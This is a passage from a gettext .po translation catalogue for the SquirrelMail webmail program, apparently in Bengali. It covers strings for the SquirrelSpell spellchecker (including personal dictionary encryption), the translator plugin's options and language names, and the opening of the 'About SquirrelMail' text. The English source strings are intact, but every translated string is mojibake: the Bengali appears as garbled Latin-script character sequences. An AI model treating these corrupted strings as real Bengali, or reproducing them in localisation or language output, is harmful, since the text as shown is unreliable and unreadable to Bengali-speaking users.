"āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āφāĻŽāĻžāϰ āύāĻŋāϜāĻ¸ā§āĻŦ āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻŋāϕ⧇ āĻĄāĻŋāĻ•ā§ƒāĻĒā§āϟ āĻ•āϰ⧁āύ āĻāĻŦāĻ‚ āĻĒāϰāĻŋāĻ¸ā§āĻ•āĻžāϰ-āĻĒāĻžāĻ ā§āϝ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ⧇ āϏāĻ‚āϰāĻ•ā§āώāύ "
"āĻ•āϰ⧁āύāĨ¤"

msgid "Change crypto settings"
msgstr "āĻ•ā§āϰāĻŋāĻĒāĻŸā§‹ āĻŽāĻžāύāϏāĻŽā§‚āĻš āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ•āϰ⧁āύ"

msgid "Your personal dictionary is currently not encrypted."
msgstr "āφāĻĒāύāĻžāϰ āύāĻŋāĻœā§‡āϰ āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻŋ āĻŦāĻ°ā§āϤāĻŽāĻžāύ⧇ āĻāύāĻ•ā§ƒāĻĒā§āϟāĻ•ā§ƒāϤ āύ⧟āĨ¤"

msgid ""
"You may wish to encrypt your personal dictionary to protect your privacy in "
"case the webmail system gets compromized and your personal dictionary file "
"gets stolen. When encrypted, the file's contents look garbled and are hard "
"to decrypt without knowing the correct key (which is your mailbox password)."
msgstr ""
"āϝāĻ–āύ āĻ“ā§Ÿā§‡āĻŦāĻŦāĻžāĻ°ā§āϤāĻž āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āϏāĻŽāĻā§‹āϤāĻž āĻ•āϰ⧇ āĻāĻŦāĻ‚ āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύ āϚ⧁āϰāĻŋ āĻšā§Ÿā§‡ āϝāĻžā§Ÿ āϤāĻ–āύ "
"āφāĻĒāύāĻŋ āφāĻĒāύāĻŋ āφāĻĒāύāĻžāϰ āĻāĻ•āĻžāĻ¨ā§āϤāϤāĻž āϰāĻ•ā§āώāĻž āĻ•āϰāϤ⧇ āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύ āĻāύāĻ•ā§āϰāĻŋāĻĒā§āϟ āĻ•āϰāϤ⧇ āϚāĻžāχāϤ⧇ "
"āĻĒāĻžāϰ⧇āύāĨ¤ āĻāύāĻ•ā§ƒāĻĒā§āϟāĻ•ā§ƒāϤ āĻšāϞ⧇, āĻĢāĻžāχāϞ⧇āϰ āωāĻĒāĻžāĻĻāĻžāύāϗ⧁āϞ⧋ āĻāϞ⧋āĻŽā§‹āϞ⧋ āĻĻ⧇āĻ–āĻžāĻŦ⧇ āĻāĻŦāĻ‚ āϏāĻ āĻŋāĻ• āϕ⧀(key) (āϝ⧇āϟāĻŋ "
"āφāĻĒāύāĻžāϰ āϚāĻŋāĻ āĻŋāϰāĻŦāĻžāĻ•ā§āϏ⧇āϰ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ) āύāĻž āϜāĻžāύāϞ⧇ āĻĄāĻŋāĻ•ā§āϰāĻŋāĻĒā§āϟ āĻ•āϰāĻž āĻ•āĻ āĻŋāύ āĻšāĻŦ⧇āĨ¤"

msgid ""
"If you decide to encrypt your personal dictionary, you must remember that it "
"gets &quot;hashed&quot; with your mailbox password. If you forget your "
"mailbox password and the administrator changes it to a new value, your "
"personal dictionary will become useless and will have to be created anew. "
"However, if you or your system administrator change your mailbox password "
"but you still have the old password at hand, you will be able to enter the "
"old key to re-encrypt the dictionary with the new value."
msgstr ""
"āϝāĻĻāĻŋ āφāĻĒāύāĻŋ āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύ⧇ āĻāύāĻ•ā§āϰāĻŋāĻĒā§āϟ āĻ•āϰāĻžāϰ āϏāĻŋāĻĻā§āϧāĻžāĻ¨ā§āϤ āύāĻŋā§Ÿā§‡ āĻĨāĻžāϕ⧇āύ, āϤāĻŦ⧇ āφāĻĒāύāĻžāϕ⧇ "
"āĻ…āĻŦāĻļā§āϝāχ āĻŽāύ⧇ āϰāĻžāĻ–āϤ⧇ āĻšāĻŦ⧇ āϝ⧇ āĻāϟāĻŋ āφāĻĒāύāĻžāϰ āϚāĻŋāĻ āĻŋāϰāĻŦāĻžāĻ•ā§āϏ⧇āϰ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻšāϤ⧇ &quot;āĻšā§āϝāĻžāϏāĻ•ā§ƒāϤ&quot;"
"āĨ¤ āϝāĻĻāĻŋ āφāĻĒāύāĻŋ āφāĻĒāύāĻžāϰ āϚāĻŋāĻ āĻŋāϰāĻŦāĻžāĻ•ā§āϏ⧇āϰ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻ­ā§‚āϞ⧇ āϝāĻžāύ āĻāĻŦāĻ‚ āĻĒā§āϰāĻļāĻžāϏāĻ• āĻāϰ āĻŽāĻžāύāϟāĻŋāϕ⧇ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ "
"āĻ•āϰ⧇, āϤāĻŦ⧇ āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύāϟāĻŋ āύāĻŋāĻ¸ā§āĻĢāϞ āĻšāĻŦ⧇ āĻāĻŦāĻ‚ āφāϰ⧇āĻ•āϟāĻŋ āύāϤ⧁āύ āϤ⧈āϰ⧀ āĻ•āϰāϤ⧇ āĻšāĻŦ⧇āĨ¤ "
"āĻāϰāĻĒāϰāĻ“, āϝāĻĻāĻŋ āφāĻĒāύāĻŋ āĻŦāĻž āφāĻĒāύāĻžāϰ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻĒā§āϰāĻļāĻžāϏāĻ• āφāĻĒāύāĻžāϰ āϚāĻŋāĻ āĻŋāϰāĻŦāĻžāĻ•ā§āϏ⧇āϰ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ "
"āĻ•āϰ⧇ āϤāĻž āϏāĻ¤ā§āĻ¤ā§āĻŦ⧇āĻ“ āϝāĻĻāĻŋ āφāĻĒāύāĻžāϰ āĻ•āĻžāϛ⧇ āĻĒ⧁āϰāĻžāϤāύ āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄāϟāĻŋ āĻĨāĻžāϕ⧇, āϤāĻŦ⧇ āφāĻĒāύāĻŋ āĻĒ⧁āϰāĻžāϤāύ āϕ⧀(key)āϟāĻŋ "
"āĻĒā§āϰāĻŦ⧇āĻļ āĻ•āϰāĻŋā§Ÿā§‡ āύāϤ⧁āύ āĻŽāĻžāύāϟāĻŋāϤ⧇ āĻ…āĻ­āĻŋāϧāĻžāύāϕ⧇ āĻĒ⧁āύāϰāĻžā§Ÿ-āĻāύāĻ•ā§āϰāĻŋāĻĒā§āϟ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āύāĨ¤"

msgid ""
"Please encrypt my personal dictionary and store it in an encrypted format."
msgstr ""
"āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āφāĻŽāĻžāϰ āύāĻŋāϜāĻ¸ā§āĻŦ āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻŋāϕ⧇ āĻāύāĻ•ā§ƒāĻĒā§āϟ āĻ•āϰ⧁āύ āĻāĻŦāĻ‚ āĻāύāĻ•ā§ƒāĻĒā§āϟāĻ•ā§ƒāϤ āĻŦāĻŋāĻ¨ā§āϝāĻžāϏ⧇ āϏāĻ‚āϰāĻ•ā§āώāύ āĻ•āϰ⧁āύāĨ¤"

#, php-format
msgid "Deleting the following entries from %s dictionary:"
msgstr "%s āĻļāĻŦā§āĻĻāϕ⧋āώ āĻĨ⧇āϕ⧇ āύ⧀āĻšā§‡āϰ āĻļāĻŦā§āĻĻāϗ⧁āϞ⧋ āĻŽā§āϛ⧇ āĻĢ⧇āϞāĻž āĻšāĻšā§āϛ⧇:"

msgid "All done!"
msgstr "āϏāĻŦ āĻ•āĻžāϜ āĻļ⧇āώ!"

msgid "Personal Dictionary Updated"
msgstr "āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύāϟāĻŋ āĻšāĻžāϞāύāĻžāĻ—āĻžāĻĻ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇"

msgid "No changes requested."
msgstr "āϕ⧋āύ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āĻ…āύ⧁āϰ⧋āϧ āĻ•āϰāĻžāĻšā§ŸāύāĻŋāĨ¤"

msgid "Please wait, communicating with the server..."
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ⧇āϰ āϏāĻžāĻĨ⧇ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻ•āϰāĻž āĻšāĻšā§āϛ⧇... āĻ…āύ⧁āĻ—ā§āϰāĻšāĻĒā§‚āĻ°ā§āĻŦāĻ• āĻ…āĻĒ⧇āĻ•ā§āώāĻž āĻ•āϰ⧁āύāĨ¤"

msgid ""
"Please choose which dictionary you would like to use to spellcheck this "
"message:"
msgstr ""
"āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇, āĻāχ āĻŦāĻžāĻ°ā§āϤāĻžāϟāĻŋāϰ āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻžāϰ āϜāĻ¨ā§āϝ āϕ⧋āύ āĻļāĻŦā§āĻĻāϕ⧋āώāϟāĻž āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻŦ⧇ āĻŦāϞ⧇ āĻĻāĻŋāύ:"

msgid "SquirrelSpell Initiating"
msgstr "āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻ• āĻļ⧁āϰ⧁ āĻ•āϰāĻž āĻšāĻšā§āϛ⧇"

msgid ", "
msgstr ","

#, php-format
msgid "Settings adjusted to: %s with %s as default dictionary."
msgstr "āĻŽāĻžāύāϏāĻŽā§‚āĻš āĻŽāĻžāύāĻžāύāϏāχ āĻ•āϰāĻž āĻšā§Ÿā§‡āϛ⧇: %1$s āĻāϰ āϏāĻžāĻĨ⧇ %2$s āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āĻ…āĻ­āĻŋāϧāĻžāύ āĻšāĻŋāϏ⧇āĻŦ⧇āĨ¤"

#, php-format
msgid "Using %s dictionary (system default) for spellcheck."
msgstr ""
"āĻŦāĻžāύāĻžāύ āϏāĻ āĻŋāĻ• āĻ•āĻŋāύāĻž āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰ⧇ āĻĻ⧇āĻ–āĻžāϰ āϜāĻ¨ā§āϝ %s āĻ…āĻ­āĻŋāϧāĻžāύ (āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ) āĻŦā§āϝāĻŦāĻšāĻžāϰ "
"āĻ•āϰāĻž āĻšāĻšā§āϛ⧇āĨ¤"

msgid "International Dictionaries Preferences Updated"
msgstr "āφāĻ¨ā§āϤāĻ°ā§āϜāĻžāϤāĻŋāĻ• āĻļāĻŦā§āĻĻāϕ⧋āώ āϏāĻ‚āĻ•ā§āϰāĻžāĻ¨ā§āϤ āĻĒāĻ›āĻ¨ā§āĻĻāϗ⧁āϞ⧋ āĻŦāĻĻāϞ⧇ āύ⧇āĻ“ā§ŸāĻž āĻšāϝāĻŧ⧇āϛ⧇"

msgid ""
"Please check any available international dictionaries which you would like "
"to use when spellchecking:"
msgstr ""
"āφāĻĒāύāĻŋ āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻžāϰ āϜāĻ¨ā§āϝ āϝ⧇āϏāĻŦ āφāĻ¨ā§āϤāĻ°ā§āϜāĻžāϤāĻŋāĻ• āĻļāĻŦā§āĻĻāϕ⧋āώ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāϤ⧇ āϚāĻžāύ āϏ⧇āϗ⧁āϞ⧋ āϚāĻŋāĻšā§āύāĻŋāϤ "
"āĻ•āϰ⧁āύ:"

msgid "Make this dictionary my default selection:"
msgstr "āĻāχ āĻ…āĻ­āĻŋāϧāĻžāύāϟāĻŋāϕ⧇ āφāĻŽāĻžāϰ āĻĒā§‚āĻ°ā§āĻŦāύāĻŋāĻ°ā§āϧāĻžāϰāĻŋāϤ āύāĻŋāĻ°ā§āĻŦāĻžāϚāύ āĻšāĻŋāϏ⧇āĻŦ⧇ āϤ⧈āϰ⧀ āĻ•āϰ⧁āύ"

msgid "Make these changes"
msgstr "āĻāχāϏāĻŦ āĻĒāϰāĻŋāĻŦāĻ°ā§āϤāύ āϤ⧈āϰ⧀ āĻ•āϰ⧁āύ"

msgid "Add International Dictionaries"
msgstr "āφāĻ¨ā§āϤāĻ°ā§āϜāĻžāϤāĻŋāĻ• āĻļāĻŦā§āĻĻāϕ⧋āώ āϝ⧋āĻ— āĻ•āϰ⧁āύ"

msgid "Please choose which options you wish to set up:"
msgstr "āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇, āφāĻĒāύāĻŋ āϕ⧋āύ āύāĻŋ⧟āĻŽāϗ⧁āϞ⧋ āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻāĻŋāϤ⧇ āϚāĻžāύ āϚāĻŋāĻšā§āύāĻŋāϤ āĻ•āϰ⧇ āĻĻāĻŋāύ:"

msgid "Edit your personal dictionary"
msgstr "āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύ āϏāĻŽā§āĻĒāĻžāĻĻāύāĻž āĻ•āϰ⧁āύ"

msgid "Set up international dictionaries"
msgstr "āφāĻ¨ā§āϤāĻ°ā§āϜāĻžāϤāĻŋāĻ• āĻ…āĻ­āĻŋāϧāĻžāύāϗ⧁āϞ⧋ āύāĻŋāϝ⧁āĻ•ā§āϤ āĻ•āϰ⧁āύ"

msgid "Encrypt or decrypt your personal dictionary"
msgstr "āφāĻĒāύāĻžāϰ āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύ āĻāύāĻ•ā§āϰāĻŋāĻĒā§āϟ āĻŦāĻž āĻĄāĻŋāĻ•ā§āϰāĻŋāĻĒā§āϟ āĻ•āϰ⧁āύ"

msgid "Personal dictionary encryption options are not available"
msgstr "āĻŦā§āϝāĻ•ā§āϤāĻŋāĻ—āϤ āĻ…āĻ­āĻŋāϧāĻžāύ āĻāύāĻ•ā§āϰāĻŋāĻĒāĻļāύ āĻĒāĻ›āĻ¨ā§āĻĻ āĻĒā§āϰāĻžāĻĒā§āϤāĻŋāϏāĻžāĻ§ā§āϝ āύ⧟"

msgid "SquirrelSpell Options Menu"
msgstr "āĻŦāĻžāύāĻžāύ āĻĒāϰ⧀āĻ•ā§āώāĻž āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ āĻĒāĻ›āĻ¨ā§āĻĻ āϤāĻžāϞāĻŋāĻ•āĻž"

msgid "Translator"
msgstr "āĻ…āύ⧁āĻŦāĻžāĻĻ āĻ•āϰāĻžāϰ āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āĻ•"

msgid "Saved Translation Options"
msgstr "āĻ…āύ⧁āĻŦāĻžāĻĻāĻ• āĻŦā§āϝāĻŦāĻ¸ā§āĻĨāĻžāϰ āϜāĻ¨ā§āϝ āύāĻŋ⧟āĻŽāĻžāĻŦāϞ⧀ āϏāĻ‚āϰāĻ•ā§āώāĻŋāϤ āĻšā§Ÿā§‡āϛ⧇"

msgid "Your server options are as follows:"
msgstr "āϏāĻžāĻ°ā§āĻ­āĻžāϰ āϏāĻ‚āĻ•ā§āϰāĻžāĻ¨ā§āϤ āύāĻŋ⧟āĻŽāϗ⧁āϞ⧋ āĻšāϞ:"

msgid "Maximum of 150 words translated, powered by Systran"
msgstr ""
"āϏāĻ°ā§āĻŦāĻžāϧāĻŋāĻ• ā§§ā§Ģā§Ļ āĻ…āĻ•ā§āώāϰ āĻ…āύ⧁āĻŦāĻžāĻĻ āĻ•āϰāĻž āϝāĻžā§Ÿ, āϏ⧀āϏāĻŸā§āϰāĻžāύ (Systran) āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āĻ• āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻšā§āϛ⧇"

#, php-format
msgid "Number of supported language pairs: %s"
msgstr "āĻŽā§‹āϟ %s āĻœā§‹āĻĄāĻŧāĻž āĻ­āĻžāώāĻž āύāĻŋā§Ÿā§‡ āĻ•āĻžāϜ āĻ•āϰāĻžāϰ āϜāĻ¨ā§āϝ āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āĻ• āφāϛ⧇:"

msgid "No known limits, powered by Systran"
msgstr "āϜāĻžāύāĻžāĻŽāϤ⧇ āϕ⧋āύ āĻļāĻŦā§āĻĻāϏ⧀āĻŽāĻž āύ⧇āχ, āϏ⧀āϏāĻŸā§āϰāĻžāύ (Systran) āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āĻ• āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻšā§āϛ⧇"

msgid "No known limits, powered by Translation Experts' InterTran"
msgstr ""
"āϜāĻžāύāĻžāĻŽāϤ⧇ āϕ⧋āύ āĻļāĻŦā§āĻĻāϏ⧀āĻŽāĻž āύ⧇āχ, āĻŸā§āϰāĻžāĻ¨ā§āϏāϞ⧇āĻļāύ āĻāĻ•ā§āϏāĻĒāĻžāĻ°ā§āϟ (Translation Expert) āĻāϰ āχāĻ¨ā§āϟāĻžāϰāĻŸā§āϰāĻžāύ "
"(Intertran) āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āĻ• āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻšā§āϛ⧇"

#, php-format
msgid "Number of supported languages: %s"
msgstr "āĻ…āύ⧁āĻŦāĻžāĻĻ⧇āϰ āϜāĻ¨ā§āϝ āϝāϤāϗ⧁āϞ⧋ āĻ­āĻžāώāĻžā§Ÿ āĻ•āĻžāϜ āĻ•āϰāĻžāϰ āĻ•ā§āώāĻŽāϤāĻž āφāϛ⧇: %s"

msgid "Hellenic translations, no known limits, powered by Systran"
msgstr ""
"āĻ—ā§āϰ⧀āϕ⧇ āĻ…āύ⧁āĻŦāĻžāĻĻ, āϜāĻžāύāĻžāĻŽāϤ⧇ āϕ⧋āύ āĻļāĻŦā§āĻĻāϏ⧀āĻŽāĻž āύ⧇āχ, āϏ⧀āϏāĻŸā§āϰāĻžāύ (Systran) āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āĻ• āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž "
"āĻšāĻšā§āϛ⧇"

msgid "Russian translations, maximum of 500 characters translated"
msgstr "āϰ⧁āĻļ āĻ­āĻžāώāĻžā§Ÿ āĻ…āύ⧁āĻŦāĻžāĻĻ, ā§Ģā§Ļā§Ļ āĻ…āĻ•ā§āώāϰ⧇āϰ āĻŦ⧇āĻļā§€ āĻ…āύ⧁āĻŦāĻžāĻĻ āĻ•āϰāĻž āϝāĻžāĻŦ⧇ āύāĻž"

msgid ""
"You also decide if you want the translation box displayed, and where it will "
"be located."
msgstr ""
"āĻāĻ›āĻžāĻĄāĻŧāĻžāĻ“ āφāĻĒāύāĻŋ āĻ āĻŋāĻ• āĻ•āϰ⧇ āĻĻāĻŋāϤ⧇ āĻĒāĻžāϰāĻŦ⧇āύ āĻ…āύ⧁āĻŦāĻžāĻĻ⧇āϰ āϝāĻ¨ā§āĻ¤ā§āϰāĻĒāĻžāϤāĻŋāϰ āĻŦāĻžāĻ•ā§āϏ āĻĻ⧇āĻ–āĻžāύ⧋ āĻšāĻŦ⧇ āĻ•āĻŋāύāĻž, āĻāĻŦāĻ‚ "
"āĻāϟāĻŋ āϕ⧋āĻĨāĻžā§Ÿ āĻ¸ā§āĻĨāĻžāĻĒāĻŋāϤ āĻšāĻŦ⧇āĨ¤"

msgid "Select your translator:"
msgstr "āϝ⧇ āĻĒā§āϰāĻ•ā§āϰāĻŋ⧟āĻ• āĻĻāĻŋā§Ÿā§‡ āĻ…āύ⧁āĻŦāĻžāĻĻ āĻ•āϰāĻž āĻšāĻŦ⧇:"

msgid "When reading:"
msgstr "āĻĒāĻĄāĻŧāĻžāϰ āϏāĻŽā§Ÿ:"

msgid "Show translation box"
msgstr "āĻ…āύ⧁āĻŦāĻžāĻĻ⧇āϰ āĻŦāĻžāĻ•ā§āϏ āĻĻ⧇āĻ–āĻžāύ"

msgid "to the left"
msgstr "āĻŦāĻžāĻŽāĻĻāĻŋāϕ⧇"

msgid "in the center"
msgstr "āĻŽāĻžāĻāĻ–āĻžāύ⧇"

msgid "to the right"
msgstr "āĻĄāĻžāύāĻĻāĻŋāϕ⧇"

msgid "Translate inside the SquirrelMail frames"
msgstr "SquirrelMail āĻĒāĻžāϤāĻžāϰ āĻŽāĻ§ā§āϝ⧇ āĻ…āύ⧁āĻŦāĻžāĻĻ āĻ•āϰ⧁āύ"

msgid "Translation Options"
msgstr "āĻ…āύ⧁āĻŦāĻžāĻĻ⧇āϰ āĻĒāĻ›āĻ¨ā§āĻĻāϗ⧁āϞ⧋"

msgid ""
"Which translator should be used when you get messages in a different "
"language?"
msgstr "āφāĻĒāύāĻŋ āϝāĻĻāĻŋ āĻ…āĻ¨ā§āϝ āϕ⧋āύ āĻ­āĻžāώāĻžā§Ÿ āϚāĻŋāĻ āĻŋ āĻĒāĻžāύ, āϤāĻžāĻšāϞ⧇ āĻ…āύ⧁āĻŦāĻžāĻĻ⧇āϰ āϜāĻ¨ā§āϝ āĻ•āĻŋ āĻŦā§āϝāĻŦāĻšāĻžāϰ āĻ•āϰāĻž āĻšāĻŦ⧇?"

#, php-format
msgid "%s to %s"
msgstr "%1$s āĻĨ⧇āϕ⧇ %2$s āϤ⧇"

msgid "Chinese, Simplified"
msgstr "āϚāĻžāχāύ⧀āϜ, āϏāϰāϞāĻ•ā§ƒāϤ"

msgid "English"
msgstr "āχāĻ‚āϰ⧇āĻœā§€"

msgid "Chinese, Traditional"
msgstr "āϚāĻžāχāύ⧀āϜ, āϐāϤāĻŋāĻšā§āϝāĻŦāĻžāĻšā§€"

msgid "Dutch"
msgstr "āĻĄāĻžāϚ"

msgid "French"
msgstr "āĻĢāϰāĻžāϏ⧀ (āĻĢā§āϰāĻžāĻ¨ā§āϏ)"

msgid "German"
msgstr "āϜāĻžāĻ°ā§āĻŽāĻžāύ"

msgid "Greek"
msgstr "āĻ—ā§āϰ⧀āĻ•"

msgid "Italian"
msgstr "āχāϤāĻžāϞāĻŋ⧟"

msgid "Japanese"
msgstr "āϜāĻžāĻĒāĻžāύ⧀"

msgid "Korean"
msgstr "āϕ⧋āϰāĻŋ⧟āĻžāύ"

msgid "Portuguese"
msgstr "āĻĒāĻ°ā§āϤ⧁āĻ—ā§€āϜ"

msgid "Russian"
msgstr "āϰ⧁āĻļ"

msgid "Spanish"
msgstr "āĻ¸ā§āĻĒā§āϝāĻžāύāĻŋāĻļ"

msgid "Translate"
msgstr "āĻ…āύ⧁āĻŦāĻžāĻĻ āĻ•āϰ⧁āύ"

msgid "Brazilian Portuguese"
msgstr "āĻŦā§āϰāĻžāϜāĻŋāϞ⧇ āĻĒā§āϰāϚāϞāĻŋāϤ āĻĒāĻ°ā§āϤ⧁āĻ—ā§€āϜ"

msgid "Bulgarian"
msgstr "āĻŦ⧁āϞāϗ⧇āϰāĻŋ⧟āĻžāύ"

msgid "Croatian"
msgstr "āĻ•ā§āϰ⧋āĻāĻļāĻŋ⧟"

msgid "Czech"
msgstr "āĻšā§‡āĻ•"

msgid "Danish"
msgstr "āĻĄā§āϝāĻžāύāĻŋāĻļ"

msgid "Filipino (Tagalog)"
msgstr "āĻĢāĻŋāϞāĻŋāĻĒāĻŋāύ⧋ (āĻŸā§āϝāĻžāĻ—āĻžāϞāĻ—)"

msgid "Finnish"
msgstr "āĻĢāĻŋāύāĻŋāĻļ"

msgid "Hungarian"
msgstr "āĻšāĻžāĻ™ā§āϗ⧇āĻ°ā§€ā§Ÿ"

msgid "Icelandic"
msgstr "āφāχāϏāĻ˛ā§āϝāĻžāĻ¨ā§āĻĄāĻŋāĻ•"

msgid "Latin"
msgstr "āϞāĻžāϤāĻŋāύ"

msgid "Latin American Spanish"
msgstr "āϞāĻžāϤāĻŋāύ-āφāĻŽā§‡āϰāĻŋāĻ•āĻžāύ āĻ¸ā§āĻĒā§āϝāĻžāύāĻŋāĻļ"

msgid "Norwegian"
msgstr "āύāϰāĻ“ā§Ÿā§‡āϜāĻŋ⧟āĻžāύ"

msgid "Polish"
msgstr "āĻĒā§‹āϞāĻŋāĻļ"

msgid "Romanian"
msgstr "āϰ⧋āĻŽāĻžāύāĻŋ⧟āĻžāύ"

msgid "Serbian"
msgstr "āϏāĻžāĻ°ā§āĻŦāĻŋ⧟āĻžāύ"

msgid "Slovenian"
msgstr "āĻ¸ā§āϞ⧋āϭ⧇āύāĻŋ⧟āĻžāύ"

msgid "Swedish"
msgstr "āϏ⧁āχāĻĄāĻŋāĻļ"

msgid "Turkish"
msgstr "āϤ⧁āĻ°ā§āϕ⧀"

msgid "Welsh"
msgstr "āĻ“ā§Ÿā§‡āĻ˛ā§āĻļ"

msgid "Indonesian"
msgstr "āχāĻ¨ā§āĻĻā§‹āύ⧇āĻļāĻŋ⧟āĻžāύ"

msgid "to English"
msgstr "āĻĨ⧇āϕ⧇ āχāĻ‚āϰ⧇āĻœā§€āϤ⧇"

msgid "from English"
msgstr "āχāĻ‚āϰ⧇āĻœā§€ āĻĨ⧇āϕ⧇"

msgid "Interface language"
msgstr "āχāĻ¨ā§āϟāĻžāϰāĻĢ⧇āϏ āĻ­āĻžāώāĻž"

msgid "Translation direction"
msgstr "āĻ…āύ⧁āĻŦāĻžāĻĻ āύāĻŋāĻ°ā§āĻĻ⧇āĻļāύāĻž"

msgid "Arabic"
msgstr "āĻā§āϝāĻžāϰāĻžāĻŦāĻŋāĻ•"

#, php-format
msgid "About SquirrelMail %s"
msgstr "SquirrelMail %s āϏāĻŽā§āĻĒāĻ°ā§āϕ⧇"

msgid ""
"SquirrelMail is the name of the program that provides access to your email "
"via the web."
msgstr ""
"SquirrelMail āĻāĻŽāύ āĻāĻ•āϟāĻŋ āĻĒā§āϰ⧋āĻ—ā§āϰāĻžāĻŽ āϝ⧇āϟāĻŋ āĻ“ā§Ÿā§‡āĻŦ āĻ­āĻžā§ŸāĻž āĻšā§Ÿā§‡ āφāĻĒāύāĻžāϰ āχ-āĻŽā§‡āχāϞ⧇ āϤāĻĨā§āϝāύāĻŋāĻŦ⧇āĻļ āĻ•āϰ⧇āĨ¤"

#, php-format
msgid ""
"If you have questions about or problems with your mail account, passwords, "
"abuse etc, please refer to your system administrator or provider%s."
msgstr ""
"āϝāĻĻāĻŋ āφāĻĒāύāĻžāϰ āĻŽā§‡āχāϞāĻāĻ•āĻžāωāĻ¨ā§āϟ, āĻĒāĻžāϏāĻ“ā§ŸāĻžāĻ°ā§āĻĄ, āĻ…āĻĒāĻŦā§āϝāĻŦāĻšāĻžāϰ āϏāĻŽā§āĻĒāĻ°ā§āϕ⧇ āϕ⧋āύ āĻĒā§āϰāĻļā§āύ āĻŦāĻž āϏāĻŽāĻ¸ā§āϝāĻž āĻĨāĻžāϕ⧇, āϤāĻŦ⧇ "
"āĻ…āύ⧁āĻ—ā§āϰāĻš āĻ•āϰ⧇ āφāĻĒāύāĻžāϰ āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ āĻĒā§āϰāĻļāĻžāϏāĻ• āĻŦāĻž āϏāϰāĻŦāϰāĻžāĻšāĻ•āĻžāϰ⧀āϰ āϏāĻžāĻĨ⧇ āϝ⧋āĻ—āĻžāϝ⧋āĻ— āĻ•āϰ⧁āύ%sāĨ¤"

#, php-format
msgid ""
"They can assist you adequately with these issues. The SquirrelMail Project "
"Team cannot help you with that. The %shelp system%s provides answers to "
"frequently asked questions."
msgstr ""
"āĻāχ āĻŦā§āϝāĻžāĻĒāĻžāϰāϗ⧁āϞ⧋āϤ⧇ āϤāĻžāϰāĻž āφāĻĒāύāĻžāϕ⧇ āĻŦāĻŋāĻ¸ā§āϤāĻžāϰāĻŋāϤ āĻ­āĻžāĻŦ⧇ āϏāĻžāĻšāĻžāĻ¯ā§āϝ āĻ•āϰāϤ⧇ āĻĒāĻžāϰ⧇āĨ¤ SquirrelMail "
"āĻĒā§āϰāĻ•āĻ˛ā§āĻĒ āĻĻāϞ āφāĻĒāύāĻžāϕ⧇ āĻ āĻŦā§āϝāĻžāĻĒāĻžāϰ⧇ āϕ⧋āύ āϏāĻžāĻšāĻžāĻ¯ā§āϝ āĻ•āϰāϤ⧇ āĻĒāĻžāϰāĻŦ⧇ āύāĻžāĨ¤ %1$shelp āϏāĻŋāĻ¸ā§āĻŸā§‡āĻŽ%2$s "
